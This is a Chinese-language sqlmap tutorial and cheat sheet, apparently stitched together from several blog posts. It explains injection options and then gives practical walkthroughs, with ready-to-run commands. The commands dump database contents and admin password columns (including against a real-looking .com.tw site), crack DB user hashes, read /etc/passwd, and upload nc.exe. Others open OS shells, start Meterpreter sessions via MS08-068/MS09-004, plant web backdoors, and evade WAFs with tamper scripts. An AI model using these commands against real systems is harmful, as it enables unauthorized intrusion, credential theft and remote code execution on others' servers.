当使用继续时间的盲注时,时刻使用--time-sec参数设定延时时间,默认是5秒。

设定UNION查询字段数

参数:--union-cols

默认情况下sqlmap测试UNION查询注入会测试1-10个字段数,当--level为5的时候他会增加测试到50个字段数。设定--union-cols的值应该是一段整数,如:12-16,是测试12-16个字段数

设定UNION查询使用的字符

参数:--union-char

默认情况下sqlmap针对UNION查询的注入会使用NULL字符,但是有些情况下会造成页面返回失败,而一个随机整数是成功的,这是你可以用--union-char只定UNION查询的字符。

二阶SQL注入

参数:--second-order

有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假。--second-order后面跟一个判断页面的URL地址。

列数据

标志

参数:-b,--banner

大多数的数据库系统都有一个函数可以返回数据库的版本号,通常这个函数是version()或者变量@@version这主要取决与是什么数据库。

用户

参数:-current-user

在大多数据库中可以获取到管理数据的用户。

当前数据库

参数:--current-db

返还当前连接的数据库。

当前用户是否为管理用

参数:--is-dba

判断当前的用户是否为管理,是的话会返回True。

列数据库管理用户

参数:--users

当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。

列出并破解数据库用户的hash

参数:--passwords

当前用户有权限读取包含用户密码的彪的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。

例子:$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1

可以看到sqlmap不仅勒出数据库的用户跟密码,同时也识别出是PostgreSQL数据库,并询问用户是否采用字典爆破的方式进行破解,这个爆破已经支持Oracle和Microsoft SQL Server。也可以提供-U参数来指定爆破哪个用户的hash。

列出数据库管理员权限

参数:--privileges

当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看哪个用户的权限。

列出数据库管理员角色

参数:--roles

当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的角色,也可以用-U参数指定你想看哪个用户的角色。仅适用于当前数据库是Oracle的时候。

列出数据库系统的数据库

参数:--dbs

当前用户有权限读取包含所有数据库列表信息的表中的时候,即可列出所有的数据库。

列举数据库表

参数:--tables,--exclude-sysdbs,-D

当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出一个特定数据的所有表。

如果你不提供-D参数来列指定的一个数据的时候,sqlmap会列出数据库所有库的所有表。

--exclude-sysdbs参数是指包含了所有的系统数据库。

需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是数据库名称。

列举数据库表中的字段

参数:--columns,-C,-T,-D

当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出指定数据库表中的字段,同时也会列出字段的数据类型。

如果没有使用-D参数指定数据库时,默认会使用当前数据库。

列举一个SQLite的例子:$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users -C name

列举数据库系统的架构

参数:--schema,--exclude-sysdbs

用户可以用此参数获取数据库的架构,包含所有的数据库,表和字段,以及各自的类型。加上--exclude-sysdbs参数,将不会获取数据库自带的系统库内容。

MySQL例子:$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --schema --batch --exclude-sysdbs

获取表中数据个数

参数:--count

有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数。列举一个Microsoft SQL Server例子:

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb

获取整个表的数据

参数:--dump,-C,-T,-D,--start,--stop,--first,--last

如果当前管理员有权限读取数据库其中的一个表的话,那么就能获取真个表的所有内容。使用-D,-T参数指定想要获取哪个库的哪个表,不适用-D参数时,默认使用当前库。列举一个Firebird的例子:$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users

可以获取指定库中的所有表的内容,只用-dump跟-D参数(不使用-T与-C参数)。也可以用-dump跟-C获取指定的字段内容。sqlmap为每个表生成了一个CSV文件。如果你只想获取一段数据,可以使用--start和--stop参数,例如,你只想获取第一段数据可hi使用--stop 1,如果想获取第二段与第三段数据,使用参数 --start 1 --stop 3。也可以用--first与--last参数,获取第几个字符到第几个字符的内容,如果你想获取字段中地三个字符到第五个字符的内容,使用--first 3 --last 5,只在盲注的时候使用,因为其他方式可以准确的获取注入内容,不需要一个字符一个字符的猜解。

获取所有数据库表的内容

参数:--dump-all,--exclude-sysdbs

使用--dump-all参数获取所有数据库表的内容,可同时加上--exclude-sysdbs只获取用户数据库的表,需要注意在Microsoft SQL Server中master数据库没有考虑成为一个系统数据库,因为有的管理员会把他当初用户数据库一样来使用它。

搜索字段,表,数据库

参数:--search,-C,-T,-D

--search可以用来寻找特定的数据库名,所有数据库中的特定表名,所有数据库表中的特定字段。

可以在一下三种情况下使用:

-C后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名。
-T后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名
-D后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名。
运行自定义的SQL语句

参数:--sql-query,--sql-shell

sqlmap会自动检测确定使用哪种SQL注入技术,如何插入检索语句。如果是SELECT查询语句,sqlap将会输出结果。如果是通过SQL注入执行其他语句,需要测试是否支持多语句执行SQL语句。列举一个Mircrosoft SQL Server 2000的例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2

爆破

暴力破解表名

参数:--common-tables

当使用--tables无法获取到数据库的表时,可以使用此参数。

通常是如下情况:

1、MySQL数据库版本小于5.0,没有information_schema表。
2、数据库是Microssoft Access,系统表MSysObjects是不可读的(默认)。
3、当前用户没有权限读取系统中保存数据结构的表的权限。
暴力破解的表在txt/common-tables.txt文件中,你可以自己添加。 列举一个MySQL 4.1的例子:

$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner

暴力破解列名

参数:--common-columns

与暴力破解表名一样,暴力跑的列名在txt/common-columns.txt中。

用户自定义函数注入

参数:--udf-inject,--shared-lib

你可以通过编译MySQL注入你自定义的函数(UDFs)或PostgreSQL在windows中共享库,DLL,或者Linux/Unix中共享对象,sqlmap将会问你一些问题,上传到服务器数据库自定义函数,然后根据你的选择执行他们,当你注入完成后,sqlmap将会移除它们。

系统文件操作

从数据库服务器中读取文件

参数:--file-read

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件

列举一个Microsoft SQL Server 2005的例子:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" --file-read "C:/example.exe" -v 1

$ ls -l output/192.168.136.129/files/C__example.exe

$ file output/192.168.136.129/files/C__example.exe

把文件上传到数据库服务器中

参数:--file-write,--file-dest

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。

列举一个MySQL的例子:

$ file /software/nc.exe.packed
$ ls -l /software/nc.exe.packed
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1

运行任意操作系统命令

参数:--os-cmd,--os-shell

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。在MySQL、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()。那么他创建的这两个函数可以执行系统命令。在Microsoft SQL Server,sqlmap将会使用xp_cmdshell存储过程,如果被禁(在Microsoft SQL Server 2005及以上版本默认禁制),sqlmap会重新启用它,如果不存在,会自动创建。

列举一个PostgreSQL的例子:$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --os-cmd id -v 1

用--os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。当不能执行多语句的时候(比如php或者asp的后端数据库为MySQL时),仍然可能使用INTO OUTFILE写进可写目录,来创建一个web后门。支持的语言:ASP、ASP.NET、JSP、PHP

Meterpreter配合使用

参数:--os-pwn,--os-smbrelay,--os-bof,--priv-esc,--msf-path,--tmp-path

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数,可以在数据库与攻击者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap根据Metasploit生成shellcode,并有四种方式执行它:

1、通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:--os-pwn。
2、通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:--os-pwn。
3、通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),--os-smbrelay。
4、通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:--os-bof

列举一个MySQL例子:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn --msf-path /software/metasploit

默认情况下MySQL在Windows上以SYSTEM权限运行,PostgreSQL在Windows与Linux中是低权限运行,Microsoft SQL Server 2000默认是以SYSTEM权限运行,Microsoft SQL Server 2005与2008大部分是以NETWORK SERVICE有时是LOCAL SERVICE。

对Windows注册表操作

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前web应用支持堆查询。 当然,当前连接数据库的用户也需要有权限操作注册表。

读取注册表值:参数:--reg-read
写入注册表值:参数:--reg-add
删除注册表值:参数:--reg-del
注册表辅助选项:参数:--reg-key,--reg-value,--reg-data,--reg-type

需要配合之前三个参数使用,例子:

$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1

常规参数

从sqlite中读取session

参数:-s

sqlmap对每一个目标都会在output路径下自动生成一个SQLite文件,如果用户想指定读取的文件路径,就可以用这个参数。

保存HTTP(S)日志

参数:-t

这个参数需要跟一个文本文件,sqlmap会把HTTP(S)请求与响应的日志保存到那里。

非交互模式

参数:--batch

用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。

强制使用字符编码

参数:--charset

不使用sqlmap自动识别的(如HTTP头中的Content-Type)字符编码,强制指定字符编码如:--charset=GBK

爬行网站URL

参数:--crawl

sqlmap可以收集潜在的可能存在漏洞的连接,后面跟的参数是爬行的深度。

例子:$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3

规定输出到CSV中的分隔符

参数:--csv-del

当dump保存为CSV格式时(--dump-format=CSV),需要一个分隔符默认是逗号,用户也可以改为别的 如:--csv-del=";"

DBMS身份验证

参数:--dbms-cred

某些时候当前用户的权限不够,做某些操作会失败,如果知道高权限用户的密码,可以使用此参数,有的数据库有专门的运行机制,可以切换用户如Microsoft SQL Server的OPENROWSET函数

定义dump数据的格式

参数:--dump-format

输出的格式可定义为:CSV,HTML,SQLITE

预估完成时间

参数:--eta

可以计算注入数据的剩余时间。

例如Oracle的布尔型盲注:$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta

sqlmap先输出长度,预计完成时间,显示百分比,输出字符

刷新session文件

参数:--flush-session

如果不想用之前缓存这个目标的session文件,可以使用这个参数。 会清空之前的session,重新测试该目标。

自动获取form表单测试

参数:--forms

如果你想对一个页面的form表单中的参数测试,可以使用-r参数读取请求文件,或者通过--data参数测试。 但是当使用--forms参数时,sqlmap会自动从-u中的url获取页面中的表单进行测试。

忽略在会话文件中存储的查询结果

参数:--fresh-queries

忽略session文件保存的查询,重新查询。

使用DBMS的hex函数

参数:--hex

有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免:

针对PostgreSQL例子:$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors

自定义输出的路径

参数:--output-dir

sqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:--output-dir=/tmp

从响应中获取DBMS的错误信息

参数:--parse-errors

有时目标没有关闭DBMS的报错,当数据库语句错误时,会输出错误语句,用词参数可以会显出错误信息。

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors

其他的一些参数

使用参数缩写。参数:-z

有使用参数太长太复杂,可以使用缩写模式。 例如:python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1"

可以写成:python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1"

还有:python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u "www.target.com/vuln.php?id=1"

可以写成:python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.com/vuln.php?id=1"

成功SQL注入时警告 。参数:--alert

设定会发的答案。参数:--answers

当希望sqlmap提出输入时,自动输入自己想要的答案可以使用此参数: 例子:

$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E --answers="extending=N" --batc

发现SQL注入时发出蜂鸣声。参数:--beep   。发现sql注入时,发出蜂鸣声。

启发式检测WAF/IPS/IDS保护。参数:--check-waf

WAF/IPS/IDS保护可能会对sqlmap造成很大的困扰,如果怀疑目标有此防护的话,可以使用此参数来测试。 sqlmap将会使用一个不存在的参数来注入测试

例如:&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1

如果有保护的话可能返回结果会不同。

清理sqlmap的UDF(s)和表。参数:--cleanup 。清除sqlmap注入时产生的udf与表。

禁用彩色输出。参数:--disable-coloring。 sqlmap默认彩色输出,可以使用此参数,禁掉彩色输出。

使用指定的Google结果页面。参数:--gpage 。默认sqlmap使用前100个URL地址作为注入测试,结合此选项,可以指定页面的URL测试。

使用HTTP参数污染。参数:-hpp 。HTTP参数污染可能会绕过WAF/IPS/IDS保护机制,这个对ASP/IIS与ASP.NET/IIS平台很有效。

测试WAF/IPS/IDS保护 。参数:--identify-waf 。sqlmap可以尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式。目前大约支持30种产品的识别。

例如对一个受到ModSecurity WAF保护的MySQL例子:$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 3

模仿智能手机

参数:--mobile

有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。

例如:$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile

安全的删除output目录的文件

参数:--purge-output

有时需要删除结果文件,而不被恢复,可以使用此参数,原有文件将会被随机的一些文件覆盖。

例如:$ python sqlmap.py --purge-output -v 3

启发式判断注入

参数:--smart

有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数。

例子:$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart

初级用户向导参数

参数:--wizard 面向初级用户的参数,可以一步一步教你如何输入针对目标注入。$ python sqlmap.py --wizard



sqlmap 实战


sqlmap是一个灰常强大的sql注入检测与辅助工具,但是由于没有图形界面,基本上用起来比较麻烦,导致很多人可能宁愿用havij或者是pangolin也不愿意麻烦去翻帮助界面,我自己也是把很多语句贴到了一个记事本里面用,其实真正用起来也就5,6句,也不会太复杂,下文以php+mysql为例:

检查注入点                  sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11"
列数据库信息                sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11" --dbs
指定库名列出所有表          sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11" -D vhost48330 --tables
指定库名表名列出所有字段    sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11" -D vhost48330 -T admin --columns

指定库名表名字段dump出指定字段
sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11" -D vhost48330 -T admin -C ac,id,password --dump    
                                                                               // -C 后面的参数可以加双引号,也可以不加

有几个参数可能会用到,直接加在最后面就可以了,更多详细参数见官方文档:
--cookie=COOKIE                            在需要登录的地方,需要登录后的cookie
--proxy="http://127.0.0.1:8087"            使用HTTP代理隐藏自己的身份,比如使用goagent等
--sql-query=QUERY                          执行一个sql语句,不一定支持

Sqlmap注入技巧收集

收集了一些利用Sqlmap做注入测试的TIPS,其中也包含一点绕WAF的技巧,便于大家集中查阅。

当我们注射的时候,判断注入
http://site/script?id=10
http://site/script?id=11-1            # 相当于 id=10
http://site/script?id=(select 10)     # 相当于 id=10
http://site/script?id=10 and 1=1      # 失败

通过判断可发现and和or被过滤
http://site/script?id=10–            # 失败
http://site/script?id=10;–           # 失败
http://site/script?id=10);–          # 失败
http://site/script?id=10)subquery;–  # 失败

你可以用burp的intruder的字典跑,但是仍然失败。
这里可以用到SQL语句的case when …then … else … end语句
CASE WHEN语句在DB2,ORACLE,SQL SERVER系列,SYBASE等大型数据库都受到支持,是标准的SQL语句。
可以这样子理解:CASE… WHEN… THEN …ELSE …END

CASE WHEN 语法有两种情况:
第一种是CASE 后面不带表达式的;
CASE WHEN expression THEN 操作1
WHEN expression THEN 操作2
.......
ELSE 操作n
END 

第二种是CASE 后面带表达式的(而此时WHEN 后面的则是该表达式可能的值),通用。
CASE expression
WHEN expression值1 THEN 操作1
WHEN expression值2 THEN 操作2
.......
ELSE 操作n
END 
http://host/script?id=11-(case when 1=1 then 1 else 0 end) 
用1=1跟1=2测试
http://host/script?id=10 # 当条件为真的时候
http://host/script?id=11 # 当条件为假的时候 
可以很明显的看到返回不同,然后可以判断注入。那么怎么能让sqlmap去识别呢?
Sqlmap默认是自己寻找注入点的,但是你加上一个*,可以引导他。

语句
sqlmap.py -u "http://host/script?id=11-(case when 1=1星号 then 1)"

注入最头痛的就是遇到过滤,sqlmap提供了字符转换的功能
--tamper=between当然自己可以改写转换内容,文件在/tamper目录下。

关于post注入 sqlmap可以用-r参数 加载数据包
sqlmap.py -r post.txt
继续补充一点: having xor等逻辑符号也可以判断注入。


POST注入

有两种方法来进行post注入:
一种是使用--data参数,将post的key和value用“类似GET方式”来提交。
二是使用-r参数,sqlmap读取用户抓到的POST请求包,来进行POST注入检测。

查看payload
之前一直是加本地代理,然后用burpsuit来看sqlmap的payload,到现在才发现用-v参数就可以实现。
一直认为-v实现的只是控制警告,debug信息级别。
实际上使用-v 3就可以显示注入的payload,4,5,6还可以显示HTTP请求,HTTP响应头和页面。

使用google搜索
sqlmap可以测试google搜索结果中的sql注入,很强大的功能吧。使用方法是参数-g。不过感觉实际使用中这个用的还是很少的。

请求延时
在注入过程中请求太频繁的话可能会被防火墙拦截,这时候--delay参数就起作用了。可以设定两次HTTP请求间的延时。
有的web程序会在多次错误访问后屏蔽所有请求,这样就导致之后所有的测试无法进行,
绕过这个策略可以使用--safe-url,每隔一段时间去访问一个正常的页面。

伪静态页面
有些web服务器进行了url rewrite或者网站是伪静态的,无法直接提供测试参数,这样子可以使用*来代替要测试的参数。

执行系统命令
当数据库支持,并且当前用户有权限的时候,可以执行系统命令,使用--os-cmd或者--os-shell,
具体的讲,当可以执行多语句的时候,会尝试用UDF(MySQL,PostgrepSQL)或者xp_cmdshell(MSSQL)来执行系统命令。
不能执行多语句时,仍然会尝试创建一个webshell来执行语句,这时候就需要web的绝对路径了。
总体来说,成功率偏低,不过个人也有成功的经验~

测试等级
sqlmap使用--level参数来进行不同全面性的测试,
默认为1,不同的参数影响了使用哪些payload,2时会进行cookie注入检测,3时会进行useragent检测。

http://blackvan.blog.51cto.com/4427217/860508

1、sqlmap -u 注入点            // 扫描注入点
2、sqlmap -g "关键词"          // 这是通过google搜索注入,现在还不可以,不知道是什么原因,可以直接修改为百度 
3、python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 
4、指定参数注入 
   python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "id" 
   python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "cat,id" 
5、指定方法和post的数据 
   python sqlmap.py -u "http://192.168.1.47/page.php" --method "POST" --data "id=1&cat=2" 
6、指定cookie,可以注入一些需要登录的地址 
   python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --cookie "COOKIE_VALUE" 

7、通过代理注入 
   python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --proxy "http://127.0.0.1:8118" 
8、指定关键词,也可以不指定。程序会根据返回结果的hash自动判断 
   python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --string "STRING_ON_TRUE_PAGE" 
9、指定数据,这样就不用猜测其他的数据库里。可以提高效率。 
   --remote-dbms 
10、指纹判别数据库类型 
   python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -f 
11、获取banner信息 
   python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -b 
12、获取当前数据库,当前用户,所有用户,密码,所有可用数据库。 
   python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --current-db 
   python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --users 
   python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --passwords 
   python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --dbs 
   python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --tables -D "information_schema" 
   python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --columns -T "user" -D "mysql" 
13、显示指定的文件内容,一般用于php 
   python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --file-read /etc/passwd 
14、执行你自己的sql语句。 
   python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 --sql-query="SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" 
    
15、union注入 
   python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --union-check 
   python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 --union-use --banner 
16、保存注入过程到一个文件,还可以从文件恢复出注入过程,很方便,一大特色。你可以在注入的时候中断,有时间再继续。 
   python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -b -o "sqlmap.log" 
   python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 --banner -o "sqlmap.log" --resume

SQLMAP实战操作:

1. sqlmap注入拖库常用命令

sqlmap.py -u "注入地址" -v 1 --dbs              // 列举数据库   
sqlmap.py -u "注入地址" -v 1 --current-db       // 当前数据库  
sqlmap.py -u "注入地址" -v 1 --users            // 列数据库用户  
sqlmap.py -u "注入地址" -v 1 --current-user     // 当前用户  
sqlmap.py -u "注入地址" -v 1 --tables -D "数据库"                          // 列举数据库的表名  
sqlmap.py -u "注入地址" -v 1 --columns -T "表名" -D "数据库"               // 获取表的列名  
sqlmap.py -u "注入地址" -v 1 --dump -C "字段,字段" -T "表名" -D "数据库"   //获取表中的数据,包含列   
已经开始拖库了,SQLMAP是非常人性化的,它会将获取的数据存储sqlmap/output/中、、、


2. ACCESS注入:

sqlmap.py -u "url"                                      /* -u为常规扫描参数 */
sqlmap.py -u "url" --tables                             /* --tables猜数据库表 */
sqlmap.py -u "url" --columns -T "表名"                  /* 列出指定表名。爆字段 */
sqlmap.py -u "url" --dump(脱裤) -T "表名" -C "字段名"   /* –dump为拆解字段名会保存在sqlmap/output目录下。暴内容 */


3 .MYSQL注入:

sqlmap.py -u "url"                                    /* 扫描注入点 */
sqlmap.py -u "url" --dbs                              /* 列出所有数据库 */
sqlmap.py -u "url" --current-db                       /* 列出当前数据库 */
sqlmap.py -u "url" --current-user                     /* 列出当前用户 */
sqlmap.py -u "url" --tables -D "数据库名"             /* 拆解数据库表 */
sqlmap.py -u "url" --columns -T "表名" -D "数据库名"              /* 拆解指定表字段名。即爆字段 */
sqlmap.py -u "url" --dump -C "字段名" -T "表名" -D "数据库"       /* 即爆内容 */


4 .SQLSERVER数据库:

sqlmap.py -u "url"                    /*扫描注入点*/
sqlmap.py -u "url" --dbs              /*列出所有数据库*/
sqlmap.py -u "url" --current-db       /*列出当前数据库*/
sqlmap.py -u "url" --current-user     /*列出当前用户*/
sqlmap.py -u "url" --tables -D "当前数据库名"                        /*拆解当前数据库表*/
sqlmap.py -u "url" --columns -T "要拆得的表名" -D "当前数据库名"   /*拆解指定表字段名*/
sqlmap.py -u "url" --dump -C "字段名" -T "表名" -D "当前数据库"
SQLSERVER操作和MYSQL是一样的!!!常见的几种数据库!!!

5. COOKIE注入:

sqlmap.py -u "www.xxx.com/asp 或者 www.xxx.com/php" --cookie "参数名如id=1" --level 2    /*level为提升权限*/
sqlmap.py -u "http://127.0.0.1/base.php" --cookies "id=1"  --dbs --level 2
什么数据库就按照上面的数据库加上cookie语句拆解就行了

cookie注入
url --cookie "id=" --table --level 2                      //暴表  
url --cookie "id=" --columns -T 表名 --level 2            //获得字段  
url --cookie "id=" --dump -T 表名 -C "字段名" --level 2   //获得内容  

方法一:
假设有个网站,url地址为:http://www.127.0.0.1/base32?id=45
假如想测试这个页面是否有cookie注入
采用的注入方式如下:sqlmap.py -u "http://www.127.0.0.1/base32" --data="id=10" --dbs --level 2
解释:/*level 2是探测等级的意思,这里采用注入选择探测等级为2,当探测等级为2或2以上sqlmap是会尝试注入cookie参数的*/

 
方法二:
sqlmap.py -u "存在注入url" --cookie="抓包抓到的cookie"
或者是这样使用:sqlmap.py -u "存在注入url" --cookir="抓包抓到的cookie" --level 2    //前面讲过了探测等级为2就注入cookie参数的


6 .POST注入:

抓包保存到SQLMAP目录下.txt的文件然后输入指令sqlmap.py -r xxx.txt     /* xxx.txt为保存包文件的文件名 */

sqlmap.py -u "url" --data "POST参数"   或者   sqlmap.py -u "url" --data="POST参数" 

sqlmap post注入
我们在使用Sqlmap进行post型注入时,经常会出现请求遗漏导致注入失败的情况。这里分享一个小技巧,即结合burpsuite来使用sqlmap,
用这种方法进行post注入测试会更准确,操作起来也非常容易。
1. 浏览器打开目标地址http:// www.2cto.com /Login.asp
2. 配置burp代理(127.0.0.1:8080)以拦截请求
3. 点击login表单的submit按钮
4. 如下图,这时候Burp会拦截到了我们的登录POST请求
5. 把这个post请求复制为txt, 我这命名为search-test.txt 然后把它放至sqlmap目录下
6. 运行sqlmap并使用如下命令:
./sqlmap.py -r search-test.txt -p tfUPass
这里参数-r 是让sqlmap加载我们的post请求rsearch-test.txt,
而-p 大家应该比较熟悉,指定注入用的参数。

Post注入

方法一:
sqlmap.py -r test.txt -p “抓包到的post数据里面的其中一个post参数” --dbs
也可以sqlmap.py -d "提交的数据" -p
解释意思
/*sqlamp进行post注入并且假如存在注入就返回数据库的信息,
test.txt文档就是对网页抓到的包全选数据包内容然后保存为test.txt文件,
直接-r test.txt是把文档放在与sqlmap同一目录下的才行。-p是指定参数注入,更精准*/
假如不是放在与sqlmap同一目录下的话,那么就是sqlmap.py -r D:\test.txt -p “抓包到的post数据里面的其中一个post参数” --dbs


方法二:
sqlmap.py -u “存在注入的url,一般多用于后台” --data=”抓到的post包的最后一行的内容” -p “指定post包里面的某一个参数”

 
方法三:
假设有个网站,url地址为:http://www.127.0.0.1/base64?id=10
假如想测试这个页面是否有post注入
用这个方式:sqlmap.py -u “http://www.127.0.0.1/base64” --data=”id=10” -f --banner --dbs


方法四:
自动注入方法
sqlmap.py -u “http://xxxxxx.com(cn/net/org)/login.asp(php,aspx,jsp等程序格式)” --forms      
一般用于后台注入。


POST登陆框注入
注入点:http://xxx.xxx.com/Login.asp

注入方式一:
     1.对着注入点使用burp抓包,保存txt格式文件。
     2.输入命令:sqlmap.py -r search-test.txt -p tfUPass

注入方式二:自动搜索表单的方式    
sqlmap -u http://www.xxx.com/Login.asp --forms  

注入方式三:指定一个参数的方法 
sqlmap -u http://www.xxx.com/Login.asp --data "tfUName=1&tfUPass=1"  


搜索框注入

搜索框注入感觉和post注入简直一模一样,只不过形式是注入搜索框而不是username或password。

方法一:
sqlmap.py -u “http://xxxxxx.com/search.php(asp,aspx,jsp)” --data=”抓包到的搜索框的信息” -p “指定搜索框里面的一个参数值”

 
搜索框注入手工判断:
' and 1=1 and '%'=' 返回所以结果
' and 1=2 and '%'=' 无返回结果
' and exists (select * from sysobjects) and '%'=' 返回正常   //最后一个针对于mssql数据库

系统对象表,针对于sql server(Mssql)数据库
一次sqlmap注入某注入点并且dump出账号密码全程
判断注入点:sqlmap.py -u “存在注入url”
例如 sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11" --batch
爆出所有数据库名字:sqlmap.py -u “存在注入url” --dbs
例如 sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11"  --dbs

 
--dump将结果导出。
例如 sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11" -D user -T admin -C ac,id,password --dump


7 .执行shell命令:

sqlmap.py -u "url" --os-cmd="net user"     /*执行net user命令*/
sqlmap.py -u "url" --os-shell              /*系统交互的shell*/


8.注入HTTP请求 :

sqlmap.py -r xxx.txt --dbs       /*xxx.txt内容为HTTP请求*/


9.绕过WAF的tamper插件使用:

sqlmap 的 tamper目录下有用于绕过waf的脚本(KALI目录位置:/usr/share/sqlmap/tamper/ )。

如果找不到所在位置,可以使用 find 查找:find / -type d -name "sqlmap" -print

sqlmap.py -u "url" --tamper "xxx.py"
sqlmap.py -u "url" --tamper="xxx.py"
